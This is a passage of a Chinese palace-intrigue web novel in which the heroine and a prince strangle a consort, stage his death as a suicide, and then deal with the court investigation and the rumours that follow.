他是王府轻功最厉害的那个,他依照晏大小姐的计划带着乱人心神的迷烟潜入了公主府的祠堂。
人一旦吸入这个迷烟,便容易变得心浮气躁,心神不宁。
这烟混在祠堂的香火味里,李兰亭主仆二人压根察觉不出来。
尤其是李兰亭心里本来就憋着火,吸入这烟之后,更是一点小事都能让他变得无比暴躁。
事情的效果比停云想的更好,朝华长公主的牌位竟然意外摔断了。
李兰亭被刺激得彻底发了疯。
而另一边,照夜喊了一声“有刺客,保护驸马”便将公主府大部分的侍卫都吸引了过来。
想必晏大小姐和王爷已经趁机混到了长公主的寝屋,等着驸马上钩了。
……
众人看着像是着了魔的李兰亭,大气都不敢喘。
李兰亭起身将蜡烛扔到了地上,冷冷地看着在场的人。
“你们不去找刺客,傻站着做什么?”
“是。”众人如梦初醒,赶忙退下,无人敢替地上的蒋峰求情。
李兰亭捡起了朝华长公主的牌位,失魂落魄地抱着牌位回了朝华长公主生前居住的寝屋。
王府的下人们不敢靠前,只敢远远地跟着他。
今夜驸马的样子,实在让人心惊胆战。
要知道,驸马爷本是府里心肠最软的主子,待下人和善,说话都温声细语。
可如今竟变得这般骇人。
仆从们心里都揪着,只盼驸马爷能早日清醒过来,变回从前那位温和有礼的好主子。
李兰亭推开了房门后顺手将门给关上。
下人们你看看我,我看看你,最终还是没敢跟进屋。
屋内没有点灯,只有月光斜斜地从窗户照了进来。
李兰亭没有让人进屋伺候。
他枯坐在床沿指尖颤抖地抚过碎成两半的牌位,眼泪无声滑落。
“对不起,朝华……”
“我没能给你报仇……”
第三句话还没来得及说出口,一道白绫毫无征兆地从背后床榻的阴影处窜出,瞬间死死勒住了他的脖子。
第200章 驸马爷之死
李兰亭的身子猛地一僵,手中的牌位再次跌落。
勒住他的力量大得惊人,根本不容他有丝毫挣扎的余地。
白绫深深陷入皮肉,几乎要勒断他的喉咙。
对方很明显不打算让他活着。
李兰亭双眼暴突,脚尖无力地蹬踹着地面。
他徒劳地抬起青筋毕露的手,一手想去抓挠颈间的白绫,另一只手又想去触碰那近在咫尺的牌位。
但最终他什么都没碰到。
挣扎不过数息,他便彻底失去了意识。
另一个阴影处里的谢翊宁无声地看着这一幕。
果然上回不是他的错觉,小恩人的力气确实很大。
先前晏逐星提出要勒死驸马,伪造他自缢的假象时,他曾主动提出要不这种杀人的事情让他来吧。
但晏逐星拒绝了,只说让她来就好。
如今看着晏逐星勒死李兰亭比杀鸡还轻松,谢翊宁便觉得刚刚没有强行要自己上是多么的正确。
见李兰亭没了呼吸,谢翊宁这才从阴影处走了出来。
晏逐星指节一松,白绫应声滑落。
两人眼神交汇,没有丝毫迟疑,继续完成他们的计划——伪造李兰亭自缢的假象。
李兰亭的尸体被悬挂在横梁之下。
晏逐星弯腰将朝华长公主的牌位扔在了李兰亭悬空的脚边。
抬头望去,发现李兰亭至死都圆睁着的眼睛,竟不偏不倚地直直地落在朝华长公主的牌位之上。
*
离开长公主府后,晏逐星长长地舒了一口气。
她笑着看向谢翊宁,声音里是说不出的轻松愉悦。
“王爷,今夜多谢您了。”
自从李兰亭调查过她的行踪后咬死是她害了朝华长公主后,她便趁着丧礼时,买通了公主府的一个下人,摸清了李兰亭每日的作息。
自打朝华长公主去世后,他每日都会去祠堂和妻女的牌位说上一会儿话,然后就会回到朝华长公主的寝屋呆上许久。
晏逐星在确认今日认亲宴大概率是李兰亭动手后,便决定今夜就动手,杀了他。
虽然烈国公已经入宫求皇上做主了,但迟则生变,谁也不知道在皇上命人调查的过程里会发生什么。
万一这期间李兰亭狗急跳墙,因为她迁怒到无辜之人身上怎么办。
尤其是尉迟敦,他的心智如同幼童一般,最容易被利用,届时若是尉迟敦出了什么事,她哪里对得起烈国公一家。
唯一的解决办法就是先杀了李兰亭,不给他任何生事的机会。
因而,她便找上了谢翊宁。
虽然她可以带着九栀混到长公主府里,杀了李兰亭。
但只有她们俩,收尾难免会有纰漏。
带上停云和照夜,那就方便多了。
毕竟处理这种事情,他们是专业的。
谢翊宁挑眉一笑:“说什么谢,这本来就不是你一个人的事。杀公主那事,我也有份。”
“如今,咱们可是一条绳上的蚂蚱。”
“这下你总可以完完全全相信我了吧?”
晏逐星抿唇一笑,重重点头:“我一直都很相信您啊。若不相信您,我又怎么会让停云给您传信。”
这句话很好地取悦了谢翊宁。
“没错,以后若是有事,只管来找本王。”他脸上的笑容愈发灿烂了。
扭头看见晏逐星复杂的眼神,他心念一动,拉长了音调道:“你放心,若本王有用得着你的地方,肯定会告诉你的。”
“好!只要是王爷的吩咐,我一定都会办到。”晏逐星痛快地答应了下来。
谢翊宁唇边的笑却淡了几分。
他眉眼耷拉下来,有些失望。
看来小恩人还是没有真的把他当成自己人啊。
若真把他当成自己人,又怎么会得了他一分好,就总想着回报他两分。
*
翌日清晨早朝前,烈国公穿上了官服,对着铜镜挤眉弄眼了一番。
烈国公夫人一脸惊讶地看向他:“夫君,你这是在做什么?”
烈国公轻咳两声,指着自己浮肿的眼皮道:“我这不是想让皇上看看,让文武百官看看,我有多伤心,多悲痛么。”
烈国公夫人:“……”
烈国公见夫人一副无言以对的模样,赶忙转移了话题。
“放心吧,今日我上朝,一定会想办法让皇上尽早给星儿一个公道的。”
“等她醒了,你记得多宽慰宽慰她,让她多在咱们府里住些时日。我就不信那人还敢把手伸到国公府里来。”
说到这,烈国公又想起了昨日晏逐星在小花园里斩杀毒蛇一事。
能成功在三条毒蛇手底下逃脱,这丫头真是个习武的好苗子啊。
等下了朝,他一定得好好跟这丫头聊一聊。
他这一身的功夫正愁着没人可传下去呢,若星儿愿意学,那可真是太好了。
“好,夫君,你快去吧。”烈国公夫人柔声点头。
“至于星儿那边暂时先让她好好休息吧,听摘星院的丫鬟说星儿昨天半夜偷偷起床在院子里哭了呢。”
烈国公夫人说起这个,语气满是心疼。
“好。”烈国公应下,这才入了朝。
早朝就要结束时,严公公高声询问百官是否还有事要奏,烈国公当即猛地跨步出列。
“老臣有事要奏——”
他酝酿了一个早朝,如今哭诉起来那叫一个激情澎湃。
他哽咽着说起昨日晏逐星遇刺之事,然后将事情从害他尉迟一族断子绝孙说到那幕后之人是对文昭帝不满上了。
“您才封了星儿当县主,就立刻有人要刺杀她。”
“这幕后黑手,其心可诛!其行可灭!这分明是在打您的脸,是在向整个朝廷示威啊,皇上!”
昨日被皇上连夜召进宫查办此案的几位官员,此刻看向烈国公的眼神里都带着掩饰不住的幽怨和疲惫。
人不是活蹦乱跳的么,至于闹这么大阵仗?
他们手头的案子都压了一箩筐了。
烈国公这金殿一哭,皇上一怒,他们查案的时限怕是又要被砍掉一大截了。
果不其然,怕什么来什么。
龙椅上的文昭帝沉着脸开口:“此事三日之内,朕要看到结果。”
大理寺和刑部的官员两眼一黑,只觉得天旋地转,却也只得硬着头皮领旨:“臣……遵旨。”
然而,没等他们把这口气喘匀,另一个让他们惊讶的消息就传来了。
第201章 自缢或谋害
“启禀皇上!大事不好!驸马李兰亭昨夜在朝华长公主的寝殿内……悬梁自尽了!”
一句话惹得众人错愕不已。
他们齐刷刷地看向了太子少傅李怀瑾。
驸马可是他的亲弟弟。
大理寺和刑部的官员对视一眼,都看到了彼此眼里的期待。
老天保佑啊,驸马千万是自缢的,而不是被害死的。
不然他们可有得来忙了。
被众人注视着的李怀瑾眉头紧锁。
三弟前些日子还吵着闹着让父亲帮着给福安郡主报仇,怎么会忽然就自缢了呢?
他脚步踉跄退后两步。
“不,不可能……”
紧邻着他的官员赶忙上前搀扶住了他。
“少傅,节哀啊。”
朝堂之下小小地骚乱了一阵。
文昭帝眉头皱起询问道:“因何缘故自缢?可有遗书?”
这个节骨眼上李兰亭忽然自缢,莫名让他联想到了昨日烈国公府认亲宴的事情。
他才命人彻查此案,驸马就自缢了?
难不成这二者之间有什么关联?
“回皇上,驸马不曾留下遗书。”内侍将朝华长公主府的大管事带了上来。
公主府大管事跪下瑟瑟发抖地说起了昨夜之事。
“启禀皇上,昨夜一切如常,驸马去了祠堂,祭拜长公主与福安郡主……”
他把昨夜祠堂里发生的事情说了出来。
李兰亭仿佛得了失心疯,走火入魔的状态他也没有隐瞒。
“胡说八道,兰亭怎么可能做出这样的事情!”李怀瑾听完当即否认。
李家人最在乎的就是自己的名声,怎么可能当众做出这种殴打心腹,还用蜡烛烫伤心腹的事情。
这位管事口中的那个癫狂的驸马,和他印象里的弟弟半点也不一样。
“小的所言句句属实,绝不敢欺瞒各位大人啊!”
公主府大管事脸色煞白,慌忙解释了起来。
“今早侍女去请驸马爷,一推门就看见驸马爷悬在梁上。那丫头当场就吓软了,连滚带爬出来报信。”
他深吸一口气,努力稳住心神,继续道。
“小的闻讯,魂都吓飞了一半,可也不敢怠慢,立刻带人赶过去。小的里里外外、仔仔细细都查看过了。”
“屋里整整齐齐,一丝打斗痕迹也无,门也是从内紧锁的。”
“长公主的牌位就落在驸马爷脚边……”
说到这,他声音渐渐变低了。
在场的人都听出了他的言外之意,驸马是昨夜大受打击,一时间想不开随朝华长公主而去了。
“请皇上明鉴!”李怀瑾站了出来,声音掷地有声。
“兰亭昨日虽悲痛失仪,但他毕生所念就是为妻女报仇雪恨!此仇未报,此恨未消,他岂会自绝?!”
他重重叩首,跪倒在地。
“福安郡主身故,朝华长公主薨逝,如今兰亭又亡。接二连三的,他们一家三口都死绝了,此事岂是偶然?!”
“这背后定然藏着阴谋,臣恳请皇上彻查臣弟之死!”
完了,又来一桩大案子。
三司的官员只觉得要呼吸不过来了。
刺杀案还没有结论,如今驸马自缢又要去查,真是让人一个头两个大。
李怀瑾最后这一句话倒是说到了文昭帝的心坎里。
朝华之死,可以说是那些流民的反扑。
可福安之死,至今未能查出真凶。
如今驸马也死了,这一家三口短短几个月全都死了,确实有些古怪。
“宋元柏。”
刑部尚书被点名,认命地站了出来。
只有刑部下设有专业仵作,他知道这事他们刑部得打头阵。
“臣在。”宋元柏沉声回应。
“朕命你速速带人去查清驸马之死,究竟是自缢还是他人谋害?若是被人谋害,五日之内,朕要那真凶人头落地。”文昭帝声音冷得让人心惊。
“记住——”
“此案关乎天家颜面,朕要的是铁证如山,水落石出。若敢有半分含糊,休怪朕无情。”
“是。臣领旨。”
一句话说得宋元柏有气无力。
下了早朝,他当即让刑部侍郎领着刑部经验最丰富的仵作张痕去了长公主府。
“仔细些查,若出了差池,本官可保不住你的脑袋。”刑部侍郎一脸凝重地看着张痕。
张痕点了点头,不敢耽误正事,小心翼翼地检查了起来。
李兰亭的尸身仍悬挂于梁上,无人敢动。
张痕先命人仔细记录下尸体的悬挂姿态,绳结的样式以及足尖离地的高度,紧接着让画匠把现场的图影完全记录下来。
这才在刑部侍郎的监督下,亲自上前小心翼翼地将尸身解下放置在早已备好的素白门板之上。
而后他开始更加仔细地检查了起来。
*
烈国公回府后,带回了李兰亭的死讯。
“你说,昨日我才入宫告了御状,请皇上严查此事,今日驸马就死了,其中莫不是有什么关联?”烈国公忍不住和夫人探讨了起来。
烈国公夫人思索片刻,开口道:“难不成昨日之事乃是驸马所为?然后李家人怕事情败露,将驸马灭口了?”
烈国公瞥了她一眼,当即摇头:“怎么可能,今日太子少傅可是强烈要求皇上彻查驸马的死因。若人是他们灭口的,他们肯定直接认下自缢身亡的结果了。”
“万一他们贼喊捉贼呢?”
烈国公夫人如今看李家人,总觉得没一个好人。
福安郡主李柔嘉小小年纪就那样心狠手辣,而她的堂妹李柔徽更是不得了。
才十四岁的年纪,竟然就能不动声色地把吸引毒蛇的药粉撒到了星儿身上。
太吓人了。
烈国公夫妇讨论着李兰亭的死,摘星院里晏逐星主仆也在议论此事。
“县主,我听仵作说过,人被勒死时的模样和上吊身亡的是不一样的。您确定他们查不出来么?”九栀不由有些担忧。
第202章 她下一个死
晏逐星淡定道:“放心吧,问题不大。”
下手之前,她就已经做好应对之策了。
上辈子在战场上,她见过了太多死法。
见得多了,她便知道什么样的伤是临死前挣扎留下的,什么样的痕迹是死后才添上去的。
所以,她用的是军中处置叛徒的绞索手法。
快、准、狠!
昨夜勒死李兰亭的角度是她精心算过的,特意模仿了人上吊时的八字痕。
她的力道足够大,几个呼吸的功夫就断了李兰亭的生机,让他连一丝多余的抓挠挣扎都没来得及留下。
但这也还是留下了一丝小小的破绽。
不过想必急着结案的刑部官员,不会容许仵作继续刨根问底地查下去。
*
“如何?驸马爷究竟是自缢还是被他人所害?”刑部侍郎着急询问张痕。
张痕洗干净手后,方才回答他的问题。
“禀大人,根据尸表征象来看。脖颈处无掐扼的痕迹,白绫索痕提空,手足无搏击之伤,银针亦未验出有毒之物,更兼门闩内锁、现场齐整……”
刑部侍郎迫不及待道:“意思就是驸马乃是自缢而亡?”
“看起来是这样的没错。但……”
张痕话还没说完。
“但什么但,没有但是!你想清楚了再说,皇上对此案十分重视,若是你敢糊弄皇上,你就等着脑袋搬家吧。”刑部侍郎高声呵斥。
张痕默了默,他先前查验时觉得驸马喉骨碎裂程度有些太过,不像自缢能造成的,倒像是被人用巨力瞬间勒断而非自缢时缓慢下坠的重量所导致的。
但如今侍郎大人这么一呵斥,让他又把心里的真实想法咽了回去。
多一事不如少一事吧。
他垂下眼眸,一字一句道:“大人教训的是。是小的言辞不够妥当。许是驸马爷悲痛过度,自缢时力道过猛,尸首并无异常,确系自缢无疑。”
有了他这句话,刑部侍郎迅速吩咐道:“详细录档,驸马李兰亭死亡时辰定为昨夜亥时,死因自缢。速报大理寺与皇上。”
御书房内,烛火通明。
文昭帝查阅完刑部呈报上的案件结论,目光落在下方垂首而立的李怀瑾身上。
片刻后,他才缓缓开口。
“爱卿,此案刑部已查明,大理寺亦无异议。驸马他确实是自缢而亡。”
李怀瑾听到这话,眼眶瞬间红了。
他虽然心中不信这个结论,但皇上金口玉言已开,此事就得盖棺定论,不可能再推翻了。
他声音带着一丝沙哑:“皇上圣明。兰亭他确是哀毁过甚,以致失仪于祠堂,最终才在朝华长公主的寝殿……追随殿下而去。”
“嗯。”文昭帝点了点头。
“李兰亭自寻短见,辜负皇恩,其罪难逃。念他终究情有所钟,追随朝华与福安而去,朕特准免究其家,留其体面,许其随葬公主陵侧。”
李怀瑾握紧了拳头,跪下谢恩:“多谢皇上圣恩,皇上万岁万岁万万岁。”
*
李兰亭的死传回了李家。
李柔徽吓得脸色煞白。
她没想到小叔竟然就这样死了?
明明小叔才让她帮着除掉晏逐星,还允诺了她大好的前程和价值连城的陪嫁。
怎么就死了。
这事会不会和晏逐星有关?
想到小叔说的那些话,朝华长公主和福安郡主都是晏逐星害死的。
李柔徽就惊得双腿直打颤。
如今小叔也被晏逐星害死了,那下一个会不会是她?
大理寺的人还没找上门来,李柔徽就把自己先给吓得发起了高热。
因而等到大理寺来人调查时,李柔徽已经病得无法见人,反而阴差阳错地逃过了一劫。
“大人恕罪,委实是不巧了。我家四小姐前日忽感时气,邪热内侵,如今高热不退,神识昏蒙,实在是无法面见诸位大人啊。”
李家的管家客客气气地送走了大理寺评事,而后便去跟老太爷复命。
“人都送走了?”李崇简面色阴沉。
他没想到小儿子竟然自缢身亡了。
虽然他和长子一样,觉得小儿子的身亡背后定然有蹊跷,但事已至此,刑部和大理寺都认定了是自缢,他们也只能认下这个结果。
只是万万没想到,大理寺调查令嘉县主遇刺一事竟然还能牵扯到他们家。
想到小儿子对杀死晏逐星的执着,李崇简心里隐隐有了些荒诞的猜测。
“糊涂!”他越想越气。
“去,赶紧请太医,务必两日内将柔徽那丫头的病给我治好,我有话要问她。”
“是。”
瞧见老太爷动怒,管家不敢耽误此事,赶忙差人请了太医来。
李柔徽的母亲李家二夫人梁氏瞧见公公竟然派人给病中的女儿请了太医,眼泪啪嗒地就落了下来。
她紧张地拉着心腹嬷嬷的手。
“嬷嬷,你说徽儿是不是要不行了,所以父亲才给她请了太医?”
往日府中只有老太爷和大伯哥生病了才会请太医,府中的姑娘家都没有这样的待遇。
除非是生了重病。
因而梁氏看到太医前来不免吓坏了。
“夫人且宽心,太医不是说了么。四小姐不过是邪热内侵罢了,吃两副药调养调养,退了热,明日便清醒了。”嬷嬷赶忙安慰她。
“希望如此。夫君已经不在,如今徽儿和叙白就是我的命。他们可不能出事。”梁氏哭得声音都沙哑了。
翌日清晨。
李柔徽在一阵啜泣声中渐渐恢复了意识。
睁开眼,她就看到了哭得眼睛通红浮肿的母亲。
她心下顿时有些不耐烦。
哭哭哭,母亲就知道哭。
遇到事情哭有什么用呢。
“别哭了,我又不是死了……”李柔徽一张口就被自己的声音吓了一跳。
她怎么了,声音怎会沙哑至此。
“徽儿,你别说这样不吉利的话。”梁氏听到这话,没忍住又掉了眼泪。
“你就是娘的命根子,娘……”
她哭诉的话还没说完,就被李柔徽给打断了。
“别哭了!大夫到底怎么说,我的嗓子还能好吗?”李柔徽的声音十分急切。
一想到可能要顶着这副毁了的嗓子过活,她心底便涌起一股绝望。
“你莫担心,太医说了这只是暂时的,过些时日就好了。”梁氏柔声回答。
“太医?”李柔徽虽然刚刚清醒,但还是敏锐地抓住了母亲话语里的关键词。
好端端的,家里怎么会给她请太医。
还没等梁氏回答她,管家就来了。
“四小姐既然醒了,那便随老奴去见老太爷吧。老太爷等您很久了。”
听到管家这句话,李柔徽的脸色“歘”一下变得惨白。
完了,祖父是不是什么都知道了?
第203章 不是自杀的
“我,我身子还有些不适。娘,我头晕。”李柔徽下意识地想逃避。
梁氏顿时急了,探手去摸她的脑袋。
李柔徽躲开了。
管家在一旁不轻不重地提醒:“四小姐,老太爷今日一定要见您。您若走不动,老奴这就命人将您抬过去。”
李柔徽脸色又白了几分。
她这副模样,连梁氏都察觉到了不对劲。
她有些担忧地开口:“徽儿,你是不是做了什么……”
“我病了两日,这副模样怎能见人?容我梳洗更衣,稍后便去拜见祖父!”李柔徽打断了母亲的话,声音带着强烈的不耐烦。
“是,老奴就在外头候着小姐。”管家躬身应是,转身轻轻带上了房门。
李柔徽听到这话,知道今日这一遭是无论如何也躲不过去了。
她阴沉着脸将丫鬟叫来伺候她沐浴更衣,梳洗打扮。
一旁的梁氏张了张口,但最终还是什么都没问。
女儿这性子她心知肚明,若是想说她刚刚就说了,若是不想说,她问再多也没用。
只盼女儿不要做了什么傻事,惹怒公公。
“夫君,你在九泉之下一定要保佑我们的两个孩子呀。”梁氏在心底暗暗祈祷。
没过多久,李柔徽收拾好后,跟着管家一块去见了祖父。
“跪下!”
刚一进书房,李柔徽就听到了祖父的呵斥。
她腿一软当即跪下。
“孽障,说,烈国公府认亲宴那日,你究竟做了什么?”李崇简高声怒喝。
李柔徽听到这话,心里的一丝侥幸都没了。
祖父什么都知道了!
她慌慌张张地把李兰亭让她做的事情说了出来。
但李兰亭承诺给她福安郡主的嫁妆还有帮她重新挑一门好亲事的事,她隐瞒了下来。
“祖父,徽儿知错了。可小叔实在太可怜了。他说只有徽儿能帮他了。呜呜呜呜。”
“糊涂!”李崇简听完脸色已经变得铁青。
他没料到小儿子竟然这般执着,还将侄女给牵扯到了其中。
“徽儿知错了,祖父您就原谅我这一回吧。”李柔徽哭得上气不接下气。
“我问你,那东西你小叔给你的时候,可有旁人瞧见?”李崇简气归气,但还是要问清楚。
“没有,小叔是单独见了我的。”李柔徽赶忙摇头。
“那药粉,你小叔可曾说了是从何处来的?”李崇简又问。
“不曾。”李柔徽再一次摇头。
李崇简沉默片刻后,开口道:“行了,这些日子,直到明年出嫁前,都莫要出门见客,安心待嫁吧。”
李柔徽如遭雷击。
但她知道此刻若不乖乖应下,定会惹得祖父大发雷霆,恐怕日后更讨不了好了。
她只得含泪应下。
李柔徽退出去后,李崇简便将长子叫了过来。
原本他还怀疑小儿子的死是不是另有缘故,如今他却不这么想了。
听完孙女的话,他脑海里蓦然生出了一个念头:
许是兰亭接二连三对晏逐星下手她却没死,而皇上又命刑部和大理寺彻查此事,兰亭心慌之下畏罪自裁了。
“兰亭的死已经盖棺定论,你莫要再追究。切记,他就是对朝华长公主用情至深而亡,不要让人将国公府遇刺的案件牵扯到他身上。”
李崇简面色已经不能用阴沉来形容了。
他一辈子清名,难道入土前,还要被小儿子给毁了么?
早知他如此愚蠢,就不该让他尚公主!
“父亲,您的意思是兰亭竟跟国公府的案子有关?”李怀瑾也吃了一惊。
李崇简便将李柔徽坦白的事情告诉了长子。
李怀瑾也变了脸色。
他没想到小弟竟然这么糊涂,更没想到一个尚未出阁的侄女竟然这样胆大妄为,敢帮着小弟行那杀人之事。
“父亲放心,此事孩儿一定不会让他们牵扯到李家。”
李怀瑾沉声应下,转头就寻了夫人蔡氏。
“二弟不在了,二弟妹又是个不中用的。你是当家主母,四丫头那儿你得盯紧些。”
蔡氏有些疑惑,想要询问何事,但李怀瑾却不愿细说。
这样要命的事情,还是知道的人越少越好。
大理寺和刑部那边,他得想个法子,让他们将谋害晏逐星的事情扣到旁人身上去,万万不过与李家扯上关系。
但他还没来得及把替罪羔羊给安排好,京城里又传出了一个新的流言。
驸马不是自杀的,而是被太后逼死的。
“什么?”太后听到这个谣言,差点被气得一佛出世二佛升天。
李兰亭的死,怎么会和她扯上关系?
“胡说八道,一派谣言!!!”太后大怒。
“可外边如今言之凿凿,说那日您因为长公主和福安郡主的死迁怒了驸马,驸马于宫中受辱,所以想不开便随长公主而去了。”传话的小太监瑟瑟发抖。
太后这一回真是哑巴吃黄连有苦说不出了。
那日李兰亭入宫质问她为何给仇人封了县主,还抬出了朝华和福安,说她们泉下有知也不会安心,她才罚了他掌嘴十下。
但这个原因,是绝对不能往外说的呀。
“杵在那等着挨雷劈吗?怎么还不去把皇上请来。”太后气急败坏地下令。
“去,将皇上请来,就说哀家心口疼得厉害。这些市井小民,刁钻可恨,让他们通通都给哀家闭嘴!”
没过多久,文昭帝就领着太医来了长乐宫。
“母后身体可还安好?”
接二连三的打击,太后哪里撑得住,她哽咽道:“不好。哀家如今很不好。”
“福安和朝华先后离世,哀家的精气神大不如前,如今外边又传出那样的流言,这不是逼哀家去死么?”
“母后说的什么糊涂话,您定会长命百岁的。朕立刻命人去彻查此事,绝不会让人污了母后的名声。”文昭帝斩钉截铁地回答。
他当着太后的面让人去辟谣,太后心里这才好受了一些。
但却事与愿违。
文昭帝下令禁止传播谣言,可哪能管得住所有人的嘴。
宫里越压,百姓们就越认定是太后逼死了驸马,所以她才这么害怕真相传开。
这事传回宫里,太后当夜就被气得晕了过去。
文昭帝不得不再一次来了长乐宫。
“皇帝,你不是跟哀家保证过,要将那些刁民的嘴给堵上么?如今这流言蜚语,怎么反倒传得更凶了?”太后倚在榻上,面容蜡黄,眼窝深陷,看起来憔悴极了。
文昭帝一本正色道:“母后,防民之口甚于防川,这种事情岂是这么容易制止的。不过您放心,朕这回一定会让这些谣言都消失。”
而后他又宽慰了她两句,命太医给她替她诊治,待她歇下后,这才面色阴沉地看向长乐宫的宫婢。
长乐宫的人,是该好好敲打敲打了。
文昭帝冷冷道:“太后凤体违和,半分忧思愁绪都受不得。若是日后外头那些风言风语再有一字飘进长乐宫。朕便将那多舌之人……枭首示众。”
话音落下,宫女太监们便哗啦啦地跪倒了一地。
文昭帝面色冷漠地离开了长乐宫。
太后的手,终究伸得太长了。
宫墙之外的消息,竟也能这般迅捷地传入深宫之中。
接下来的几日,太后宫中的亲信旧人,接二连三地因“冲撞圣驾”、“御前失仪”等种种由头,被皇帝下令责罚、贬黜,乃至逐出宫去。
其中好几个,都是太后倚为臂膀的心腹。
太后惊觉不对,细细一盘查,才惊悚地发现自己身边得用的人手竟如指间流沙般,不知不觉已散去大半。
那些沸沸扬扬的宫外流言未能击垮她,文昭帝这番不动声色却刀刀见血的釜底抽薪却将她给彻底气病了。
与此同时,烈国公认亲宴上晏逐星遇刺一事,也终于有了结果。
第204章 真凶认罪了
晏逐星早就料到幕后真凶李兰亭不会轻易被揪出来,但她也万万没想到,出来顶罪的竟然会是晏氏一族的族长。
准确的说是曾经的族长晏光启。
他的妻子汪氏涉嫌给定远侯“下毒药”后,被烧死在了玉澜院,他便不得再担任晏氏一族的族长了。
若不是他是定远侯的亲叔叔,只怕要被闹得除族。
与国公府攀上了关系,他们还愁晏氏没有好前程么。
可这一切都被汪氏那贪恋又愚蠢的妇人给毁了。
晏氏族人恨透了晏光启一家。
晏光启面如死灰,僵立在公堂之上承认了自己的罪行。
“我夫人……她一时糊涂才犯下了大错。可这贱人晏逐星,她做了什么?她竟然没帮着遮掩,还报了官,将这等腌臜事情公之于众。这不是败坏侯府的名声,败坏晏氏一族的清誉么?!”
“我夫人的死,一定是她所为,是她烧死了我的夫人!!!”
“再说了,凭什么侯爷死了,我的族长之位也没了,她却过得那么好?”
“她青云直上得了县主封号也不说回馈晏氏一族一二。她就是个忘恩负义、狼心狗肺的东西!”
“我对她恨之入骨。所以才威胁了国公府的丫鬟,帮我办事。”
“只有她死了,我才不会一直被人指责。”
“当初侯爷他们就不该将她带回家!!!她就是个灾星!!!”
“若非她克亲,侯府上上下下又怎会死绝。”
晏光启说完,闭上了眼睛。
他已经按照那位贵人说的话做了,只盼他的儿子和孙儿,日后能重新谋一个好前程。
日后重新掌管晏氏,让那些看不起他们的人,全都在他们脚底下摇尾乞怜。
晏光启这番话合情合理,他与晏逐星也有深仇大怨,刑部和大理寺略微一查证后,就将此案了结了。
“失望么?”
听完下属带回来的消息,谢翊宁扭头看向晏逐星。
此刻晏逐星正领着九栀在给温泉山庄的主院设下机关。
她要搬到这里来,周围人少,她手中可用的人也不算太多,自然要做好防备。
而谢翊宁时常会不请自来,所以还是得把他一块叫过来,不然哪天他忽然造访被机关所伤那可就麻烦了。
听到谢翊宁这话,她笑着摇了摇头:“不失望。”
“李兰亭人已经死了,公道我已经自己讨回来了。我不需要朝廷给我公道。”
“晏光启本就不是什么好东西,死了也好。”
谢翊宁心下微动。
小恩人并不相信官府能还她公道,怪不得每一次都亲力亲为去杀人。
晏逐星冲他眨了眨眼睛:“最重要的是,太后现在还被气病了,应该暂时分不出心神来对付我了。”
从谢翊宁那里知道李兰亭在长乐宫门口被太后惩戒掌嘴十下后,她就想着什么时候将此事拿出来宣扬宣扬。
给太后和李家添堵。
没想到,机会比她想象中来得更加快。
大理寺确认李兰亭是悬梁自尽无误后,她便让张小乙将此事透漏给了从前凿冰的百姓们。
一传十,十传百,后来不用她去推波助澜,百姓们就议论纷纷了。
如今,太后因为李兰亭的死分不出心来对付她,正好方便她顺利搬家。
“这倒也是,太后应该能消停一阵子了。”谢翊宁点了点头。
“我倒是希望太后能消停一辈子。一阵子实在太短。”晏逐星叹了一口气。
毕竟,头上悬着一把恻刀的感觉可不好受。
“倒也不是不行,本王有个法子。”
谢翊宁眼珠子一转,有了一个好主意。
“太后在宫廷里,若是死得不明不白,恐怕难以脱身。王爷切不可以身冒险。”晏逐星听到这话脱口而出,眉眼里是掩不住的担心。
见她担心自己,谢翊宁心情莫名其妙又好了几分。
“放心吧,她可是太后,本王的皇祖母,我怎么可能会傻到派人直接去杀她。”他冲晏逐星招了招手,示意她附耳过来。
晏逐星乖乖地把脑袋凑了过去。
谢翊宁弯腰低下头,贴到她耳朵边上,低声将自己的想法说了出来。
晏逐星听完猛地瞪大了眼睛,连连称赞:“王爷甚是聪慧,这法子真是精妙!”
片刻后,她又有些迟疑:“只是这东西最好还是不要沾咱们的手吧,免得日后查出来,就算处理干净了,也容易惹上一身腥。”
“言之有理,此事咱们从长计议。只要太后不对你动手,晚一些促成此事也无妨。”谢翊宁赞同地点了点头。
而后他环顾四周,笑眯眯地转移了话题。
“那这山庄呢,你可还满意?”
这山庄当初是秦王妃的陪嫁,被抄没之后许久没人入住,有些荒凉。
这些日子,他便派了人过来帮着晏逐星一块打扫,让她好在良辰吉日里搬过来。
“我很满意!”晏逐星眼眸亮晶晶的,重重点头,唇角抑制不住地扬起。
这温泉山庄的位置实在是得天独厚。
环抱于苍翠山谷之中,冬无凛冽朔风,夏有凉风习习。
最妙的是,清洌甘甜的山泉水便在不远处潺潺流淌,触手可及。这样即便六月京城酷暑难捱,她在这也不会觉得有多难受。
更让她心动的是附近那片开阔的马场。
不过区区五里之遥,策马扬鞭,转瞬即至。
“皇上赏的这庄子,实在称心!再没有比这更好的恩典了!”怕他不信,晏逐星再一次强调。
此地方圆,草木皆带着无拘无束的气息。
她终于可以卸下枷锁,重新跨上马背,找那份久违的自在与飞扬。
在这儿,天高地阔,连呼吸都畅快,比困在京城那金雕玉砌的牢笼里自在千百倍。
“你喜欢就好。”谢翊宁谢翊宁见她眉眼弯弯,唇角也不自觉地上扬。
两人闲谈间,双鲤红着眼睛走了过来。
二话不说,扑通就跪到了地上。
第205章 发现秘密了
晏逐星吓了一跳。
好端端的,这是怎么了?
双鲤红着眼眶,声音带着浓重的鼻音,想来之前就已经哭过一回了。
“县主,奴婢该死!方才在清扫浴池时,发现池底有一块石砖有些松动。奴婢想着许是年久失修,怕它日后硌着您的脚,就试着用手按了按,想让它嵌回去。谁知……”
她哽咽了一下,头垂得更低了。
“谁知奴婢手笨,力气没使对地方,竟把那石砖的一个小角给按崩了!奴婢真的不是故意的,奴婢知错了,求县主责罚!”
她将御赐的山庄给弄坏了,呜呜呜呜呜呜。
这得花多少个月的月银才能赔得起啊。
会不会把她卖了也赔不起?
晏逐星听到这话,松了一口气。
她还以为是什么大事呢。
“好了,莫哭了。”晏逐星平静地开口。
“起来说话。崩坏一角而已,又不是什么大事。带我去看看吧。”
她有些好奇,这秦王妃的陪嫁竟然做得这么偷工减料么,轻轻一按就会碎?
双鲤如蒙大赦连忙起身引路。
“本王也一块瞧瞧去,这池子怎会那么容易坏。”谢翊宁也有些好奇,跟着晏逐星主仆二人一块走了过去。
浴池内水汽氤氲,池水已放空大半,方便清洁。
双鲤小心翼翼地指着池底靠近边缘的一处:“县主,就是这儿。”
晏逐星踏入微凉的池底。
她顺着双鲤指着的位置蹲下身,指尖抚过那块颜色纹理与周遭几乎无异的石砖。
